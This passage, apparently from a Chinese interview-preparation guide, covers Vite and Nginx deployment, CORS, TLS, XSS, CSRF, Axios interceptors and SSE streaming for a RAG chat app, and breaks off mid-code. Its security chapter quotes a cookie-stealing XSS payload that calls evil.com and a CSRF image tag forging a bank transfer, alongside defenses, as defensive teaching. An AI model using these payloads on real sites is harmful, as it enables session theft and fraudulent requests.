生态成熟度 ⭐⭐⭐⭐⭐(老项目多) ⭐⭐⭐⭐(新项目首选)
Vue 支持 vue-loader 官方 @vitejs/plugin-vue

面试话术: “Vite 开发环境用浏览器原生 ESM,不打包,所以启动速度和项目大小无关,改代码热更新也是毫秒级;生产环境用 Rollup 打包,产物优化做得更好。我们项目从 vue-cli 迁到 Vite 后,本地启动从 40 秒降到 2 秒,热更新基本无感。”

10.2 Vite 配置实战

// vite.config.ts(你的项目完整配置参考)
import { defineConfig, loadEnv } from 'vite';
import vue from '@vitejs/plugin-vue';
import { fileURLToPath, URL } from 'node:url';

export default defineConfig(({ mode }) => {
  const env = loadEnv(mode, process.cwd());     // 加载环境变量

  return {
    plugins: [vue()],

    // ① 路径别名(@ 指向 src)
    resolve: {
      alias: {
        '@': fileURLToPath(new URL('./src', import.meta.url))
      }
    },

    // ② 开发服务器
    server: {
      port: 5173,
      open: true,
      // ★ 开发代理解决跨域
      proxy: {
        '/api': {
          target: env.VITE_API_BASE_URL || 'http://localhost:8080',
          changeOrigin: true,              // 改请求头的 host
          // rewrite: (path) => path.replace(/^\/api/, '')  // 按需去掉前缀
        },
        '/ws': {                            // WebSocket 代理
          target: 'ws://localhost:8080',
          ws: true
        }
      }
    },

    // ③ 生产构建
    build: {
      outDir: 'dist',
      sourcemap: mode === 'development',   // 生产不生成 sourcemap(防泄源码)
      minify: 'terser',
      terserOptions: { compress: { drop_console: true, drop_debugger: true } },
      rollupOptions: {
        output: {
          manualChunks: {
            vue: ['vue', 'vue-router', 'pinia'],
            echarts: ['echarts'],
            elementPlus: ['element-plus']
          }
        }
      },
      chunkSizeWarningLimit: 1000
    },

    // ④ 依赖预构建
    optimizeDeps: {
      include: ['vue', 'vue-router', 'pinia', 'axios', 'echarts', 'element-plus']
    }
  };
});

10.3 环境变量配置

# .env.development(开发环境,npm run dev 时加载)
VITE_API_BASE_URL=http://localhost:8080
VITE_APP_TITLE=知识库助手(开发)

# .env.production(生产环境,npm run build 时加载)
VITE_API_BASE_URL=https://api.company.com
VITE_APP_TITLE=企业知识库助手

# .env.staging(测试环境,npm run build --mode staging 时加载)
VITE_API_BASE_URL=https://staging-api.company.com
// 代码中使用(必须以 VITE_ 开头才会暴露给前端)
console.log(import.meta.env.VITE_API_BASE_URL);
console.log(import.meta.env.MODE);           // 'development' | 'production'

// ⚠️ 安全提醒:前端环境变量会被打包进 JS,**绝对不能放密钥**!
// 密钥必须放后端

类比后端: .env.xxx ≈ Spring Boot 的 application-{profile}.yml。

10.4 ESLint + Prettier

工具 作用 后端类比
ESLint 代码质量检查(未使用变量、潜在 bug) Checkstyle / SpotBugs
Prettier 代码格式化(缩进、引号、换行) Spotless
Stylelint CSS 规范检查 —
// .eslintrc.cjs
module.exports = {
  root: true,
  env: { browser: true, es2022: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/eslint-config-typescript',
    '@vue/eslint-config-prettier'
  ],
  rules: {
    'vue/multi-word-component-names': 'off',   // 允许单文件组件单单词命名
    'no-unused-vars': 'warn',
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off'
  }
};
// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "printWidth": 100,
  "tabWidth": 2,
  "trailingComma": "es5",
  "arrowParens": "always"
}
// package.json
{
  "scripts": {
    "dev": "vite",
    "build": "vue-tsc && vite build",      // 类型检查 + 构建
    "preview": "vite preview",
    "lint": "eslint . --ext .vue,.js,.ts --fix",
    "format": "prettier --write src/"
  }
}

集成到 CI(呼应你简历的 Jenkins):

// Jenkinsfile 片段
stage('前端检查与构建') {
  steps {
    dir('frontend') {
      sh 'pnpm install'
      sh 'pnpm lint'              // ESLint 检查,有 error 就失败
      sh 'pnpm build'             // 类型检查 + 打包
    }
  }
}

10.5 部署(Nginx 生产配置)

server {
    listen 80;
    server_name rag.company.com;

    root /usr/share/nginx/html;
    index index.html;

    # ① Gzip 压缩
    gzip on;
    gzip_vary on;
    gzip_min_length 1024;
    gzip_comp_level 6;
    gzip_types text/plain text/css text/xml application/json
               application/javascript application/xml+rss
               image/svg+xml;

    # ② 前端静态资源(带 hash,强缓存)
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        access_log off;             # 静态资源不记日志,省 IO
    }

    # ③ index.html 协商缓存
    location = /index.html {
        add_header Cache-Control "no-cache, must-revalidate";
    }

    # ④ API 反向代理(同域部署,彻底解决跨域)
    location /api/ {
        proxy_pass http://backend:8080/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_connect_timeout 10s;
        proxy_send_timeout 60s;
        proxy_read_timeout 60s;
    }

    # ⑤ SSE 特殊配置(★ 流式必须)
    location /api/chat/ {
        proxy_pass http://backend:8080;
        proxy_http_version 1.1;
        proxy_set_header Connection '';
        proxy_buffering off;         # ★ 关键:关闭缓冲,token 立即推送
        proxy_cache off;
        proxy_read_timeout 300s;     # LLM 长回答不超时
        chunked_transfer_encoding on;
    }

    # ⑥ WebSocket 配置
    location /ws/ {
        proxy_pass http://backend:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_read_timeout 3600s;    # 长连接超时设长
    }

    # ⑦ SPA 路由 fallback(★ history 模式必需,放最后)
    location / {
        try_files $uri $uri/ /index.html;
    }

    # ⑧ 安全头
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
}

部署流程(对应你简历的 Jenkins Pipeline):

开发提交代码
   ↓
Jenkins 触发
   ↓
① pnpm install(依赖缓存加速)
   ↓
② pnpm lint(ESLint 检查)
   ↓
③ pnpm test(单元测试)
   ↓
④ pnpm build(vue-tsc 类型检查 + vite build 打包)
   ↓
⑤ docker build(把 dist 打进 nginx 镜像)
   ↓
⑥ docker push(推镜像仓库)
   ↓
⑦ kubectl apply / helm upgrade(K8s 滚动更新)
   ↓
完成(你简历写的 40 分钟 → 10 分钟)

Dockerfile(前端):

# 多阶段构建:构建产物只保留 dist,镜像体积小
# ① 构建阶段
FROM node:20-alpine AS builder
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN npm install -g pnpm && pnpm install --frozen-lockfile
COPY . .
RUN pnpm build

# ② 运行阶段(只复制构建产物)
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
# 效果:镜像从 ~1GB(含 node_modules)降到 ~30MB

第十章 面试题汇总

# 题目 难度
1 Vite 和 Webpack 的区别?为什么 Vite 快? ⭐⭐⭐⭐
2 Vite 生产环境用什么打包?为什么不用 esbuild? ⭐⭐⭐
3 Vite 怎么配置开发代理解决跨域? ⭐⭐⭐⭐
4 环境变量怎么配置?有什么安全注意点? ⭐⭐⭐⭐
5 ESLint 和 Prettier 的区别? ⭐⭐⭐
6 前端项目怎么部署?Nginx 怎么配? ⭐⭐⭐⭐
7 history 路由模式部署要注意什么? ⭐⭐⭐⭐
8 为什么静态资源可以强缓存、index.html 不行? ⭐⭐⭐⭐⭐
9 前端 Dockerfile 为什么要多阶段构建? ⭐⭐⭐⭐
10 你们 CI/CD 流程是怎样的? ⭐⭐⭐⭐


第十一章:浏览器与网络

11.1 从输入 URL 到页面显示,发生了什么?(经典必考题)

这是前端面试的“Hello World”级问题,答得完整与否直接决定印象分。建议按下面的 8 步背下来。

① URL 解析
   浏览器判断输入的是 URL 还是搜索关键词
   → https://www.example.com/docs

② DNS 域名解析(域名 → IP)
   查询顺序(有缓存就直接用):
   浏览器缓存 → 操作系统缓存(hosts) → 本地 DNS 服务器 → 根域名服务器
   → 顶级域服务器(.com) → 权威域名服务器
   得到 IP:93.184.216.34

③ 建立 TCP 连接(三次握手)
   客户端 → SYN       → 服务端   "我要连你"
   客户端 ← SYN+ACK   ← 服务端   "好的,我也要连你"
   客户端 → ACK       → 服务端   "好,连上了"

④ 建立 TLS 连接(HTTPS 才有,四次握手,见 11.3)
   交换密钥,协商加密算法

⑤ 发送 HTTP 请求
   GET /docs HTTP/1.1
   Host: www.example.com
   Cookie: xxx

⑥ 服务器处理请求并返回响应
   HTTP/1.1 200 OK
   Content-Type: text/html
   <!DOCTYPE html>...

⑦ 浏览器解析渲染(★ 重点,详细见下)
   HTML → DOM 树
   CSS  → CSSOM 树
   DOM + CSSOM → Render Tree(渲染树)
   → Layout(布局:计算位置尺寸)
   → Paint(绘制:画到屏幕)
   → Composite(合成:GPU 合成各层)

⑧ 连接结束(HTTP/1.1 keep-alive 保持连接)

渲染详细流程(第 ⑦ 步展开)

HTML 文档
   ↓ 【解析】
DOM 树(Document Object Model)
   <html>
     ├─ <head>
     └─ <body>
         ├─ <div class="box">
         └─ <p>Hello</p>
   ⚠️ 遇到 <script> 会阻塞解析(因为 JS 可能改 DOM)
      → 所以 script 放 body 底部,或加 defer/async

CSS 文件 / <style>
   ↓ 【解析】
CSSOM 树(CSS Object Model)
   .box { width: 100px; color: red; }
   p { font-size: 14px; }

DOM + CSSOM
   ↓ 【合并】
Render Tree(渲染树)
   ★ 只包含可见节点(display:none 的不在里面,visibility:hidden 的在)

Render Tree
   ↓ 【Layout / Reflow 布局】
   计算每个节点在屏幕上的精确位置和尺寸

Layout
   ↓ 【Paint 绘制】
   把每个节点画成像素(颜色、边框、阴影、文字)

Paint
   ↓ 【Composite 合成】
   GPU 把各图层合成,显示到屏幕

⚠️ script 的 async 和 defer(面试常问):

<script src="a.js"></script>              <!-- 阻塞解析,下载完立即执行 -->
<script src="a.js" defer></script>        <!-- 并行下载,等 DOM 解析完才执行,按顺序 -->
<script src="a.js" async></script>        <!-- 并行下载,下载完立即执行,不保证顺序 -->
执行时机对比:

        解析HTML       下载脚本      执行脚本
普通:   ████⏸                        
        (阻塞)  →  下载 → 执行 → 继续解析

defer:  ████████████████  (解析完)
            ↓下载(并行)
        DOMContentLoaded 前按顺序执行 ✅

async:  ████████████  (不阻塞)
            ↓下载完立即执行(顺序不定)

11.2 跨域 CORS(后端必须会答)

保留原文档的精华并补充。

什么是跨域?

同源策略(Same-Origin Policy):浏览器的安全机制,要求协议 + 域名 + 端口三者完全相同才允许读取响应。

当前页面:http://localhost:5173

http://localhost:5173/api     ✅ 同源(协议/域名/端口都一样)
https://localhost:5173/api    ❌ 协议不同(http vs https)
http://localhost:8080/api     ❌ 端口不同(5173 vs 8080)
http://127.0.0.1:5173/api     ❌ 域名不同(localhost vs 127.0.0.1)
http://api.company.com/page   ❌ 域名不同

⚠️ 关键点(面试必说):跨域是浏览器的限制,不是服务器拒绝请求。

请求其实发出去了,服务器也返回了 200,
但浏览器发现响应头没有允许跨域,就把响应拦截了,前端拿不到数据。

验证:用 Postman/curl 请求同样的接口 → 完全正常(因为没有浏览器这个中间层)

简单请求 vs 非简单请求(预检)

简单请求(同时满足以下两个条件):

  1. 方法是 GET / POST / HEAD 之一
  2. 请求头只有:Accept、Accept-Language、Content-Language、Content-Type(且值只能是 application/x-www-form-urlencoded、multipart/form-data、text/plain)

非简单请求会先发 OPTIONS 预检(Preflight):

浏览器先发:
OPTIONS /api/documents HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization,content-type

服务器响应:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: authorization, content-type
Access-Control-Max-Age: 3600          ★ 预检结果缓存 1 小时,减少 OPTIONS 请求

预检通过 → 浏览器才发真正的请求

⚠️ 常见的“意外”非简单请求: 加了 Authorization 头(JWT 场景必踩!)→ 每次都触发预检。这就是为什么要配 Access-Control-Max-Age 缓存预检结果。

后端解决方案(Spring Boot)

// 方式一:全局 CORS 配置(推荐)
@Configuration
public class CorsConfig {
    @Bean
    public CorsFilter corsFilter() {
        CorsConfiguration config = new CorsConfiguration();
        // ⚠️ 生产环境不要用 "*"(配合 allowCredentials 会报错),用明确的白名单
        config.setAllowedOriginPatterns(List.of(
            "http://localhost:5173",
            "https://rag.company.com"
        ));
        config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
        config.setAllowedHeaders(List.of("*"));
        config.setExposedHeaders(List.of("Authorization"));  // 允许前端读取的响应头
        config.setAllowCredentials(true);        // 允许带 Cookie/凭证
        config.setMaxAge(3600L);                 // 预检结果缓存 1 小时

        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/**", config);
        return new CorsFilter(source);
    }
}

// 方式二:单个 Controller/方法上加注解
@CrossOrigin(origins = "http://localhost:5173", maxAge = 3600)
@RestController
public class DocumentController { }

// 方式三:Spring Security 中启用
http.cors(cors -> cors.configurationSource(corsConfigurationSource()));

解决方案对比(生产推荐组合)

方案 适用 原理
Vite devServer proxy 开发环境 开发服务器代理转发,同源
Nginx 反向代理 生产(推荐) 前后端同域,Nginx 转发 /api → 后端
后端 CORS 白名单 兜底/第三方调用 响应头允许跨域
// 开发环境:Vite 代理
// vite.config.ts
server: {
  proxy: {
    '/api': {
      target: 'http://localhost:8080',
      changeOrigin: true
    }
  }
}
// 前端请求 /api/documents → Vite 转发到 http://localhost:8080/api/documents
// 浏览器看来是同源(都是 localhost:5173),无跨域
# 生产环境:Nginx 同域部署
server {
    listen 80;
    server_name rag.company.com;

    location / {                      # 前端静态资源
        root /usr/share/nginx/html;
        try_files $uri $uri/ /index.html;
    }
    location /api/ {                  # API 转发到后端
        proxy_pass http://backend:8080/;
    }
}
# 前后端都是 rag.company.com → 同源 → 彻底无跨域

面试话术: “跨域是浏览器的同源策略限制,不是后端拒绝请求——所以 Postman 能通、浏览器被拦,这是判断跨域问题的第一要点。解决上我们开发环境用 Vite 代理,生产用 Nginx 同域部署 + 反向代理(最干净,性能也最好,还能省掉 OPTIONS 预检请求),后端同时开 CORS 白名单作为兜底,方便第三方系统对接。”

11.3 HTTPS 与 TLS 握手

HTTPS = HTTP + TLS(加密 + 认证 + 完整性)

HTTP 的问题(明文传输):
  客户端 ────"密码是123456"────► 服务器
                  ↑
              中间人可以看到、篡改

HTTPS 的解决:
  客户端 ────"@#$%^&*加密后"────► 服务器
                  ↑
              中间人看到的是乱码

TLS 握手过程(简化版,记住 4 步)

① ClientHello
   客户端 → 服务端:支持的 TLS 版本、加密套件列表、随机数 R1

② ServerHello + 证书
   客户端 ← 服务端:选定的加密套件、随机数 R2、数字证书(含公钥)
   ★ 浏览器验证证书:是否过期?域名是否匹配?是否由受信任的 CA 签发?

③ 密钥交换
   客户端:生成随机数 R3(Pre-Master Secret),用证书里的公钥加密后发给服务器
   服务端:用自己的私钥解密得到 R3
   → 双方用 R1 + R2 + R3 生成相同的「会话密钥」(对称加密密钥)

④ 握手完成
   双方用会话密钥加密通信(对称加密,快)

★ 为什么用「非对称加密交换密钥 + 对称加密传数据」?
  非对称加密安全但慢(RSA 2048 位),对称加密快(AES)
  → 用非对称加密安全地协商出对称密钥,之后用对称加密传数据,兼顾安全和性能

数字证书的作用(防止中间人):

中间人攻击:
  客户端 ←── 假公钥 ── 中间人 ←── 真公钥 ── 服务器
  (中间人冒充服务器,客户端拿到的是中间人的公钥)

证书如何解决:
  证书 = 网站信息 + 网站公钥 + CA 的数字签名
  浏览器内置了受信任 CA 的根证书公钥
  → 用 CA 公钥验证证书签名 → 确认证书确实是 CA 签发的、没被篡改
  → 中间人没有 CA 私钥,伪造的证书签不对 → 浏览器报警告

面试常问:

问题 答案
HTTPS 为什么安全? 加密(防窃听)+ 证书认证(防冒充)+ 摘要校验(防篡改)
为什么不全用非对称加密? 非对称加密计算慢(比对称慢 100~1000 倍),只用来协商密钥
HTTPS 绝对安全吗? 不是。中间人若有用户信任的假 CA 证书(如公司代理),仍可解密;且只能防传输层,应用层漏洞(XSS)防不了
HTTPS 端口? 443(HTTP 是 80)

11.4 HTTP 版本演进

版本 关键特性 问题
HTTP/1.0 每个请求一个 TCP 连接 连接开销大
HTTP/1.1(主流) keep-alive 长连接、管道化、Host 头 队头阻塞(同一连接请求要排队)
HTTP/2 多路复用、二进制分帧、头部压缩 HPACK、服务端推送 TCP 层队头阻塞(丢包要等重传)
HTTP/3 基于 QUIC(UDP)、0-RTT 连接 兼容性、部署成本

HTTP/2 多路复用(重点):

HTTP/1.1:一个连接同时只能处理一个请求,要排队
  请求1 ████████
  请求2         ████████      ← 队头阻塞
  请求3                 ████
  (浏览器开 6 个 TCP 连接并行,但仍有上限)

HTTP/2:一个连接上多个请求并行(二进制分帧 + stream ID)
  请求1 ██ ██ ██ ██
  请求2   ██ ██ ██ ██        ← 交错传输,互不阻塞
  请求3 ██   ██   ██
  ★ 只需要 1 个 TCP 连接

第十二章:前端安全

12.1 XSS(跨站脚本攻击)

原理

XSS(Cross-Site Scripting):攻击者往页面注入恶意 JS 脚本,用户浏览时脚本执行,窃取 Cookie、篡改页面。

场景:评论区提交内容

攻击者提交:
  <script>fetch('http://evil.com?cookie=' + document.cookie)</script>

后端没过滤,直接存库。其他用户看评论时,这段脚本被执行:
  → 用户的 Cookie(含登录态)被发到攻击者服务器
  → 攻击者用这个 Cookie 冒充用户登录

三种类型

类型 触发方式 场景
存储型 XSS 恶意脚本存到数据库,所有访问者都中招 评论区、用户资料、留言板
反射型 XSS 恶意脚本在 URL 参数里,服务端原样返回 搜索结果页 ?q=<script>...
DOM 型 XSS 前端 JS 把不可信数据写进 DOM innerHTML = location.hash

防御(4 层)

// ① 转义(最重要):把特殊字符转成 HTML 实体
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')      // ★ 关键:转义 < 和 >
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}
// <script> → &lt;script&gt; → 浏览器当作文本显示,不执行 ✅

// ② Vue/React 默认就防御了!
//    {{ }} 插值会自动转义,等价于 textContent
<div>{{ userInput }}</div>              <!-- ✅ 安全,自动转义 -->

//    ⚠️ 但 v-html 会原样渲染 HTML,等同于 innerHTML —— 危险!
<div v-html="userInput"></div>          <!-- ❌ XSS 风险! -->

// 如果必须用 v-html(如渲染富文本),必须先清洗:
import DOMPurify from 'dompurify';
const safeHtml = computed(() => DOMPurify.sanitize(props.rawHtml));
// DOMPurify 会移除 script、onerror、javascript: 等危险内容,保留安全的 HTML 标签
// ③ 后端也要过滤(不能只靠前端,前端过滤可被绕过)
// 用 Hutool / OWASP Java HTML Sanitizer
String safe = HtmlUtil.filter(userInput);     // Hutool
// 或
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safe = policy.sanitize(userInput);     // OWASP
// ④ 设置 HttpOnly Cookie(即使 XSS 成功也偷不到 Cookie)
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
//   HttpOnly → JS 读不到 document.cookie
//   Secure   → 只有 HTTPS 才发送
//   SameSite → 防 CSRF(见 12.2)

⚠️ 你的项目场景: RAG 系统渲染 AI 返回的答案时需要 Markdown → HTML 转换,必须用 DOMPurify 清洗——因为 AI 生成的内容可能包含用户上传文档里的恶意片段。

import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';

const md = new MarkdownIt();
// ★ 先渲染成 HTML,再清洗,最后才交给 v-html
const safeHtml = computed(() => {
  const rawHtml = md.render(props.markdownContent);
  return DOMPurify.sanitize(rawHtml);      // ← 这一步不能省!
});

12.2 CSRF(跨站请求伪造)

原理

CSRF(Cross-Site Request Forgery):攻击者诱导用户访问恶意页面,该页面冒充用户身份向目标网站发请求。

攻击流程:
  ① 用户登录了银行网站 bank.com,Cookie 里有登录态
  ② 攻击者诱导用户访问 evil.com(邮件/论坛链接)
  ③ evil.com 页面里藏着:
     <img src="http://bank.com/transfer?to=attacker&amount=10000">
     或自动提交的表单
  ④ 浏览器发请求时**自动带上 bank.com 的 Cookie**
  ⑤ 银行服务器认为是用户本人操作 → 转账成功

★ 核心:浏览器发请求会自动带 Cookie,攻击者"借用"了用户的登录态

防御(4 种)

① SameSite Cookie(最简单,现代浏览器默认)
   Set-Cookie: token=xxx; SameSite=Strict
   Strict → 完全禁止跨站携带 Cookie(从 evil.com 发来的请求不带 Cookie)
   Lax    → 允许 GET 等安全方法的跨站请求带 Cookie(默认值,平衡安全与体验)
   None   → 允许所有跨站携带(必须配合 Secure)

② CSRF Token
   服务端生成一个随机 token 放在表单/响应头里
   前端每次请求带上这个 token,服务端校验
   → 攻击者拿不到这个 token(不在 Cookie 里,且每次不同)

③ 验证 Origin / Referer 头
   服务端检查请求来源是不是自己的域名

④ 关键操作二次验证
   转账需要输入密码/短信验证码(即使 CSRF 成功也过不了)

你的项目(JWT 场景):

JWT 存哪里?这是个经典安全问题:

方案A:localStorage
  前端存 localStorage,Axios 拦截器手动加到 Authorization 头
  ✅ 不受 CSRF 影响(因为 CSRF 靠自动带 Cookie,而 localStorage 不会被自动带)
  ❌ 受 XSS 影响(JS 能读到 localStorage)

方案B:Cookie + HttpOnly
  后端 Set-Cookie: token=xxx; HttpOnly; SameSite=Strict
  ✅ 防 XSS(JS 读不到)
  ❌ 需要防 CSRF(SameSite=Strict 基本能挡住)

★ 结论:
  没有完美方案,关键是理解取舍。
  目前主流做法是 localStorage + Authorization 头(SPA 场景),
  配合:① 严格的 XSS 防护 ② token 短期有效 + refresh token ③ 关键操作二次验证
  如果安全性要求极高,用 HttpOnly Cookie + SameSite=Strict + CSRF Token

12.3 其他安全威胁

威胁 原理 防御
点击劫持 用透明 iframe 覆盖在诱导按钮上,用户点的其实是隐藏的按钮 X-Frame-Options: SAMEORIGIN / CSP frame-ancestors
中间人攻击 劫持网络流量窃听/篡改 HTTPS、证书固定
SQL 注入 拼接 SQL 预编译(PreparedStatement)、ORM 参数绑定
CSP(内容安全策略) 白名单机制限制资源加载来源 Content-Security-Policy: default-src 'self'
依赖漏洞 第三方 npm 包有已知漏洞 npm audit、Snyk、定期更新
# CSP 示例(响应头)
Content-Security-Policy:
  default-src 'self';                    # 默认只允许同源
  script-src 'self' https://cdn.com;     # JS 只允许同源和指定 CDN
  style-src 'self' 'unsafe-inline';      # CSS 允许内联(Vue 项目常需要)
  img-src 'self' data: https:;           # 图片允许 data URI 和 https
  connect-src 'self' https://api.company.com;    # AJAX/WebSocket 目标
  frame-ancestors 'none';                # 禁止被 iframe 嵌套(防点击劫持)

第十一、十二章 面试题汇总

# 题目 难度
1 从输入 URL 到页面显示发生了什么? ⭐⭐⭐⭐⭐
2 浏览器的渲染流程?DOM/CSSOM/Render Tree ? ⭐⭐⭐⭐
3 script 的 async 和 defer 区别? ⭐⭐⭐⭐
4 什么是跨域?为什么会有跨域? ⭐⭐⭐⭐⭐
5 简单请求和非简单请求的区别?什么是预检? ⭐⭐⭐⭐⭐
6 跨域怎么解决?生产环境怎么做? ⭐⭐⭐⭐⭐
7 HTTPS 的握手过程? ⭐⭐⭐⭐⭐
8 为什么 HTTPS 既用非对称又用对称加密? ⭐⭐⭐⭐
9 数字证书的作用?怎么防止中间人? ⭐⭐⭐⭐
10 HTTP/2 相比 1.1 有什么改进? ⭐⭐⭐⭐
11 什么是 XSS?几种类型?怎么防御? ⭐⭐⭐⭐⭐
12 v-html 有什么风险?怎么安全使用? ⭐⭐⭐⭐⭐
13 什么是 CSRF?怎么防御? ⭐⭐⭐⭐⭐
14 JWT 存 localStorage 还是 Cookie?为什么? ⭐⭐⭐⭐⭐
15 HttpOnly / Secure / SameSite 的作用? ⭐⭐⭐⭐
16 什么是点击劫持?怎么防御? ⭐⭐⭐


第十三章:前后端协作与 SSE 流式(核心亮点)

这一章是你简历项目二的核心对接点,也是作为全栈工程师最能体现“既懂后端推送、又懂前端渲染”的地方。面试官大概率会追问细节。

13.1 RESTful 接口约定

操作 方法 + URL 你 RAG 项目的例子
查列表 GET /api/documents 文档列表页
查单个 GET /api/documents/{id} 文档详情
新增 POST /api/documents(multipart 上传) 上传 PDF/Word
修改 PUT /api/documents/{id} 修改文档标签
删除 DELETE /api/documents/{id} 删除文档
动作类 POST /api/chat/stream 发起对话(SSE 流式)

统一响应体(前后端契约):

// 后端
@Data
public class Result<T> {
    private int code;          // 200 成功,其他失败
    private String message;    // 提示信息
    private T data;            // 业务数据
    private long timestamp;

    public static <T> Result<T> success(T data) {
        Result<T> r = new Result<>();
        r.code = 200; r.data = data; r.timestamp = System.currentTimeMillis();
        return r;
    }
    public static <T> Result<T> error(String msg) { /* ... */ }
}
// 前端对应
export interface Result<T = any> {
  code: number;
  message: string;
  data: T;
  timestamp: number;
}
// Axios 拦截器里只认 code !== 200 → 弹 message
// 前后端契约统一,谁都不用到处判断

加分点: “资源用名词、操作用 HTTP 方法表达;但对话这种’动作’不好资源化时我们单独开了 /chat 端点,语义优先于教条。”

13.2 Axios 拦截器

// src/api/request.js
import axios from 'axios';
import { ElMessage } from 'element-plus';

const request = axios.create({
  baseURL: '/api',
  timeout: 30000
});

// ============ 请求拦截器 ============
request.interceptors.request.use(
  config => {
    // ① 自动带 token
    const token = localStorage.getItem('token');
    if (token) {
      config.headers.Authorization = `Bearer ${token}`;
    }
    // ② 请求开始:显示 loading(配合全局 loading 计数器)
    return config;
  },
  error => Promise.reject(error)
);

// ============ 响应拦截器 ============
request.interceptors.response.use(
  response => {
    const res = response.data;
    // ① 文件下载(Blob)直接返回
    if (response.config.responseType === 'blob') return response;

    // ② 业务码判断
    if (res.code !== 200) {
      ElMessage.error(res.message || '请求失败');
      // 特殊错误码处理
      if (res.code === 401) {
        localStorage.removeItem('token');
        location.href = '/login';
      }
      return Promise.reject(new Error(res.message));
    }
    return res.data;                 // ★ 直接返回 data,业务代码不用 .data.data
  },
  error => {
    // ③ HTTP 错误码处理
    const status = error.response?.status;
    switch (status) {
      case 400: ElMessage.error('请求参数错误'); break;
      case 401:
        ElMessage.error('登录已过期,请重新登录');
        localStorage.removeItem('token');
        location.href = '/login';
        break;
      case 403: ElMessage.error('没有权限'); break;
      case 404: ElMessage.error('请求的资源不存在'); break;
      case 429: ElMessage.warning('操作太频繁,请稍后再试'); break;   // 呼应后端限流
      case 500: ElMessage.error('服务器错误'); break;
      case 502:
      case 503: ElMessage.error('服务暂时不可用'); break;
      default:
        if (error.code === 'ECONNABORTED') {
          ElMessage.error('请求超时,请检查网络');
        } else {
          ElMessage.error('网络异常');
        }
    }
    return Promise.reject(error);
  }
);

export default request;

13.3 SSE 流式对话(★ 你 RAG 项目的核心)

13.3.1 SSE 是什么?

SSE(Server-Sent Events,服务器推送事件):HTTP 长连接上,服务器单向持续推送文本流给浏览器。

SSE vs WebSocket vs 轮询(高频对比题)

对比 轮询 SSE WebSocket
通信方向 客户端反复问 服务器单向推 全双工双向
协议 普通 HTTP 普通 HTTP 独立 ws:// 协议(HTTP 升级握手)
数据格式 任意 文本(UTF-8) 任意(含二进制)
断线重连 自己写 浏览器自动重连(retry 字段) 自己实现(心跳+重连)
开销 高(反复建连接) 低 低
适用场景 简单低频 LLM 流式输出、行情推送、进度通知 聊天室、协同编辑、游戏

为什么 LLM 对话选 SSE 不选 WebSocket?

对话本质是“一问一答”:请求发出后只有服务器往回推,单向就够。SSE 基于普通 HTTP:不用升级协议、过网关/代理/Nginx 兼容性好、自带断线重连、实现简单。WebSocket 的全双工能力在这里是浪费。

13.3.2 后端实现(Spring Boot SseEmitter)

@RestController
@RequestMapping("/api/chat")
public class ChatController {

    @PostMapping(value = "/stream", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
    public SseEmitter chat(@RequestBody ChatRequest req) {
        // 超时给长一点:LLM 生成长回答可能超过默认 30s
        SseEmitter emitter = new SseEmitter(120_000L);

        chatService.streamChat(req, new SseChatListener(emitter));
        return emitter;
    }
}

@Component
public class SseChatListener implements StreamingChatResponseHandler {

    private final SseEmitter emitter;

    @Override
    public void onPartialResponse(String token) {
        try {
            // 每来一个 token 就推一个 event
            emitter.send(SseEmitter.event().name("message").data(token));
        } catch (IOException e) {
            // 用户关页面了 → 通知 LangChain4j 取消上游 LLM 请求,省钱!
            emitter.completeWithError(e);
        }
    }

    @Override
    public void onCompleteResponse(String fullAnswer) {
        emitter.send(SseEmitter.event().name("done").data("[DONE]"));
        emitter.complete();                     // 正常结束连接
    }

    @Override
    public void onError(Throwable error) {
        emitter.send(SseEmitter.event().name("error").data("生成失败,请重试"));
        emitter.complete();                      // 异常也要关闭,防连接泄漏
    }
}

SSE 报文格式(能讲出来很加分):

HTTP/1.1 200 OK
Content-Type: text/event-stream;charset=UTF-8
Cache-Control: no-cache          ← 禁止代理缓存
Connection: keep-alive

event: message
data: 头寸

event: message
data: 是指

event: message
data: 资产托管中

event: done
data: [DONE]

帧格式规则:

  • 每个事件以**空行(\n\n)**结尾
  • data: 数据字段
  • event: 事件类型(前端可按类型监听)
  • id: 事件 ID(断线重连时浏览器会带上 Last-Event-ID)
  • retry: 断线后多少毫秒自动重连

13.3.3 前端实现(fetch + ReadableStream)

<!-- ChatPage.vue -->
<script setup lang="ts">
import { ref, onUnmounted, nextTick } from 'vue';

interface ChatMessage {
  role: 'user' | 'assistant';
  content: string;
  sources?: any[];
}

const messages = ref<ChatMessage[]>([]);
const question = ref('');
const generating = ref(false);
let abortController: AbortController | null = null;

async function send() {
  if (!question.value.trim() || generating.value) return;

  const q = question.value;
  question.value = '';
  generating.value = true;

  // ① 先 push 用户消息和一条空的 AI 消息(占位)
  messages.value.push({ role: 'user', content: q });
